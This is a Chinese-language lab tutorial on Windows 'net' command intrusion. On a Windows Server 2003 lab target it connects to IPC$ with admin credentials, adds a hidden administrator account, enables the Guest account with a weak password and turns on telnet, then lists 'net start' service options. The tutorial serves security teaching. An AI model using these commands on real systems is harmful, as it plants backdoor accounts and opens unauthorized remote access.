zoukankan      html  css  js  c++  java
  • NET命令入侵实例

    实验目的

    了解NET入侵的过程

    掌握NET命令的使用方法和它的参数搭配

    实验内容

    NET命令的使用方法和它的参数搭配

    实验环境描述

    XP作为客户端,Windows server 2003作为远程服务器。

    实验步骤

    在Windows xp和win 2003系统,两人进行实验,相互得知对方的IP及用户名、密码。在此server 2003系统IP为192.168.1.2。此IP地址不固定。

    2.点击windows xp的“打开控制台”登录到实验场景中的目标主机。 点击windows 2003的“打开控制台”,账号administrator,密码p@ssw0rd,登录到实验场景中的目标主机。点击windows xp的“打开控制台”账号safe,密码p@ssw0rd,直接进入windowsxp如图所示:

    图片描述

    图片描述

    3.登陆windows xp主机:“net use \\192.168.1.2\ipc$ p@ssw0rd  /user:administrator”如下图:

    图片描述

    4.创建一个用户,由于SA的权限相当于系统的超级用户,如:加一个sysusers的用户密码为111111 。输入命令:“net  user sysusers 111111 /add”

    图片描述

    5.显示命令成功后,就可以把他加入Administrators组了,输入命令:“net localgroup Administrators sysusers /add”,如下图:

    图片描述

    6.打开对方的TELNET服务命令为:“net start telnet”如下图:

    图片描述

    注:“net start telnet”命令正常情况下可以开启对方的“telnet”服务,但是因为对方该服务禁用了,所以需要先把禁用给去掉,然后再启动。

    7.将telnet服务设置为“自动”,命令为“sc config tlntsvr start= auto”,需要注意的是,telnet服务在这里一定要用“tlntsvr”,用“sc config telnet start= auto”是无法启动的,另外“=”号后边和“auto”之前要有一个空格,如下图:

    图片描述

    8.启动“telnet”服务,命令为“net start telnet”或者用“net start tlntsvr”进行启动,如下图: 激活Guest用户(guest是windows的默认用户),输入命令:“net user guest /active:yes”

    图片描述

    9.把一个用户的密码改掉,把 guest的密码改为111111,其他用户也可以的。只要有权限就可以。执行“net user guest 111111”命令,如下图

    图片描述

    10.退出远程连接命令:“net use * /delete”,如下图

    图片描述

    11.用net命令的帮助时,所有 net 命令接受选项 / yes 和 /no(可缩写为 / y 和 /n )。/y 对命令产生的任何交互提示自动回答“是”,/n 回答“否”。例如,net stop server 通常提示确认是否根据服务器服务结束所有服务,net stop server /y 自动回答“是”并关闭服务器服务。如下图:

    图片描述

    1. 提供网络命令列表及帮助主题,或提供指定命令或主题的帮助。如想得到net命令的用法可以用“net /?”查询,如果想知道net命令中“use”的用法,可以直接输入“net use ?”或者“net use help”来进行进一步查询,或者用“net help use”来获得更详细的内容。

    图片描述

    图片描述

    附:常用的net命令 Net start 启动服务,或显示已启动服务的列表

    图片描述

    net start [service] 启动相关的服务

    图片描述

    相关服务包括 alerter、client service for netware、clipbook server、content index、comput er browser、dhcp client、directory replicator、eventlog、ftp publishing service、 hypermedia object manager、logical disk manager、lpdsvc、media services managemen t, messenger、Fax Service、Microsoft install server、net logon、network dde、netw ork dde dsdm、nt lm security support provider、ole、plug and play、remote access connection manager、remote access isnsap service、remote access server、remote pr ocedure call (rpc) locator、remote procedure call (rpc) service、schedule、server 、simple tcp/ip services、site server ldap service、smartcard resource manager、s nmp、spooler、task scheduler、tcp/ip netbios helper、telephony service、tracking service、tracking (server) service、ups、Windows time service 和 workstation。

    下面服务只有在 Windows 2000 上可用:file service for macintosh、gateway service for netware、microsoft dhcp service、print service for macintosh、windows interne t name service。

    Net start Alerter 启动“警报器”服务。“警报器”服务发送警告消息。

    Net start ClipBook Server 启动“剪贴簿服务器”服务。

    图片描述

    net start "computer browser" 启动“计算机浏览器”服务。 Net start DHCP Client 启动“DHCP 客户”服务。该命令只有在安装了 TCP/IP 协议之后才可用。

    图片描述

    Net start Eventlog 启动“事件日志”服务,该服务将事件记录在本地计算机上。必须在使用事件查看器查看记 录的事件之前启动该服务。 net start messenger 启动“信使”服务。“信使”服务允许计算机接收邮件。 net start "net logon" 启动“网络登录”服务。“网络登录”服务验证登录请求并控制复制用户帐户数据库域宽。 两个词组成的服务名,例如 Net Logon,必须两边加引号 (")。该服务也可以使用命令 net start netlogon 启动。 net start "network dde"    启动“网络 DDE”服务。

    图片描述

    net start "nt lm security support provider" 启动“NT LM 安全支持提供程序”服务。该命令只有在安装了“NT LM 安全支持提供程序” 后才可用。

    net start ole 启动对象链接和嵌入服务。

    net start "remote access connection manager" 启动“远程访问连接管理器”服务。该命令只有在安装了“远程访问服务”后才可用。

    net start "remote procedure call (rpc) locator" 启动 RPC 定位器服务。“定位器”服务是 Microsoft Windows 2000 的 RPC 名称服务。

    net start schedule 启动“计划”服务。“计划”服务使计算机可以使用 at 命令在指定时间启动程序。

    net start server 启动“服务器”服务。“服务器”服务使计算机可以共享网络上的资源。

    net start spooler 启动“后台打印程序”。

    net start ups 启动“不间断电源 (UPS)”服务

    net start workstation 启动“工作站”服务。“工作站”服务使计算机可以连接并使用网络资源。

    Net start Schedule 有的地方称为“定时”服务,叫法不同,请大家注意了,其实是一回事!

    Net start Telnet 启动telnet服务,打开23端口,有的情况下需先运行NTLM.exe。为什么?到榕G的说明里去找 吧!

    net start workstation 打开NET USE

    net start lanmanserver 打开 IPC 服务

    实验到此结束;

  • 相关阅读:
    ascii、unicode、utf-8、gbk 区别?
    python递归的最大层数?
    线程
    为何基于tcp协议的通信比基于udp协议的通信更可靠?
    什么是局域网和广域网?
    通过代码实现如下转换 ?
    TCP和UDP的区别?
    什么是ARP协议?
    PEP8 常用规范
    b、B、KB、MB、GB 的关系?
  • 原文地址:https://www.cnblogs.com/lzkalislw/p/13673230.html
Copyright © 2011-2022 走看看